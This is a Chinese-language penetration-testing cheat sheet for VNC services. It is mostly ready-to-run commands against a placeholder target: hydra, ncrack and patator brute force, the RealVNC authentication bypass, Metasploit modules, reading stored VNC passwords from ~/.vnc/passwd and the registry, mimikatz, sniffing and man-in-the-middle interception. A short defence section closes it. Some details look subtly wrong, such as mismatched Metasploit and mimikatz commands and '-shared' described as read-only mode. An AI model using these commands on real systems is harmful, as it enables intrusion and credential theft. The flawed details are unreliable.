5900-5910 - VNC 服务渗透测试

服务概述

VNC (Virtual Network Computing) 是远程桌面协议。弱密码、未加密传输是主要安全问题。

默认端口: 5900-5910 (TCP)
危害等级: ⭐⭐⭐


信息收集

服务识别

# nmap 扫描
nmap -sV --script vnc-info,realvnc-auth-bypass -p 5900 TARGET

# 获取服务器信息
nmap --script vnc-title -p 5900 TARGET

# 截图
nmap --script vnc-screenshot -p 5900 TARGET

版本检测

# 手动连接
nc TARGET 5900
# 输出:RFB 003.008 (VNC 版本)

# 使用 vncviewer
vncviewer TARGET::5900

常见攻击手法

1. 弱密码爆破

原理: VNC 密码通常较短 (最多 8 字符)。

利用:

# hydra
hydra -P rockyou.txt vnc://TARGET

# ncrack
ncrack -V --user admin -P rockyou.txt vnc://TARGET

# patator
patator vnc_login host=TARGET password=FILE0 0=rockyou.txt

2. RealVNC 认证绕过 (CVE-2006-2369)

原理: RealVNC 4.1.1 之前版本存在认证绕过。

检测:

# nmap 检测
nmap --script realvnc-auth-bypass -p 5900 TARGET

# 输出:
# VULNERABLE: RealVNC Authentication Bypass

利用:

# 使用 metasploit
use exploit/unix/vnc/vnc_keyboard_exec
set RHOST TARGET
run

# 或直接连接
vncviewer TARGET::5900
# 无需密码即可连接

3. 未授权访问

原理: VNC 配置为无密码认证。

检测:

# nmap 检测
nmap --script vnc-info -p 5900 TARGET

# 输出:
# Security Types: 1 (None)

利用:

# 直接连接
vncviewer TARGET::5900

# 或使用 metasploit
use auxiliary/server/capture/vnc
set SRVHOST 0.0.0.0
set SRVPORT 5900
run

4. 密码解密

原理: VNC 密码使用固定密钥 DES 加密。

利用:

# 从注册表提取密码 (Windows)
reg query "HKCU\Software\ORL\WinVNC3" /v Password

# 或使用 mimikatz
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # vault::cred

# 解密工具
python3 vnc_decrypt.py ENCRYPTED_PASSWORD

5. 中间人攻击

原理: VNC 流量未加密可被嗅探。

利用:

# 嗅探流量
tshark -i eth0 -Y "vnc" -T fields -e vnc.password

# 使用 vncmitm
git clone https://github.com/jart/vncmitm
cd vncmitm
make

# 启动 MITM
./vncmitm -l 5900 TARGET:5900

# 受害者连接后
# 可记录按键、截图

实战案例

案例 1: 弱密码爆破

# 1. 扫描 VNC
nmap -sV --script vnc-info -p 5900 TARGET

# 输出:
# 5900/tcp open  vnc VNC (protocol 3.8)

# 2. 暴力破解
hydra -P rockyou.txt vnc://TARGET

# 输出:
# [5900][vnc] host: TARGET, password: vnc123

# 3. 连接
vncviewer TARGET::5900
# 输入密码:vnc123

案例 2: RealVNC 认证绕过

# 1. 检测漏洞
nmap --script realvnc-auth-bypass -p 5900 TARGET

# 输出:
# VULNERABLE: RealVNC Authentication Bypass

# 2. 连接
vncviewer TARGET::5900

# 3. 无需密码即可访问桌面

案例 3: 内网 VNC 渗透

# 1. 扫描内网 VNC
nmap -sV -p 5900 192.168.1.0/24

# 输出:
# 192.168.1.50:5900 (VNC)
# 192.168.1.100:5900 (VNC)

# 2. 测试认证
nmap --script vnc-info -p 5900 192.168.1.50

# 3. 暴力破解
hydra -P rockyou.txt vnc://192.168.1.50

# 4. 连接
vncviewer 192.168.1.50::5900

案例 4: VNC 密码窃取

# 1. 获取访问权限
# 通过其他方式

# 2. 提取 VNC 密码
# Linux
cat ~/.vnc/passwd

# Windows
reg query "HKCU\Software\ORL\WinVNC3" /v Password

# 3. 解密
python3 vnc_decrypt.py encrypted_password

# 4. 使用密码连接其他 VNC 服务器

工具

vncviewer

# 基本连接
vncviewer TARGET::5900

# 指定密码文件
vncviewer -password-file passwd.txt TARGET::5900

# 只读模式
vncviewer -shared TARGET::5900

# 全屏模式
vncviewer -fullscreen TARGET::5900

hydra

# VNC 暴力破解
hydra -P rockyou.txt vnc://TARGET

# 指定端口
hydra -P rockyou.txt vnc://TARGET:5901

# 详细输出
hydra -vV -P rockyou.txt vnc://TARGET

nmap scripts

# VNC 信息
nmap --script vnc-info -p 5900 TARGET

# VNC 标题
nmap --script vnc-title -p 5900 TARGET

# VNC 截图
nmap --script vnc-screenshot -p 5900 TARGET

# RealVNC 绕过检测
nmap --script realvnc-auth-bypass -p 5900 TARGET

Metasploit

# VNC 扫描
use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS TARGET
run

# VNC 登录
use auxiliary/scanner/vnc/vnc_login
set RHOSTS TARGET
set PASSWORD_FILE rockyou.txt
run

# VNC 服务器
use auxiliary/server/capture/vnc
set SRVHOST 0.0.0.0
run

防御建议

服务器配置

# 1. 设置强密码
# 最小 12 字符
# 复杂度要求

# 2. 启用加密
# 使用 VNC over SSH 或 SSL

# 3. 限制访问
# 防火墙规则
iptables -A INPUT -p tcp --dport 5900 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 5900 -j DROP

# 4. 禁用未授权访问
# 配置需要认证

# 5. 更新软件
# 使用最新 VNC 版本

SSH 隧道

# 通过 SSH 连接 VNC
ssh -L 5900:localhost:5900 user@TARGET

# 本地连接
vncviewer localhost::5900

# 这样 VNC 流量通过 SSH 加密

监控检测

# 1. 日志监控
# VNC 服务器日志
# 认证失败记录

# 2. 流量分析
tshark -i eth0 -Y "vnc" -T fields -e ip.src -e ip.dst

# 3. 异常检测
# 大量认证失败
# 非工作时间连接
# 未知 IP 访问

参考链接